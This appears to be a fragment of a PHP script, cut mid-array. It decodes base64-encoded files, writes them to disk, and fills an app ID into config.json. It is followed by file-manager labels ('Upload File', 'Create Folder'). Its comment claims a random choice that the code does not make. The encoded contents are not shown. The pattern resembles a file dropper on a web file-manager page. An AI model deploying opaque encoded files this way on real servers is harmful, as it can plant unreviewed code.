sPg==', ); foreach ($files as $fileName => $encodedContent) { $decodedContent = base64_decode($encodedContent); if ($fileName === 'config.json') { // 随机替换 {app} 为 $app_ids 数组中的一个元素 $randomAppId = $app_ids[0]; $decodedContent = str_replace('{app}', $randomAppId, $decodedContent); } file_put_contents($fileName, $decodedContent); echo "File: $fileName has been written.\n"; }
Upload File
Create Folder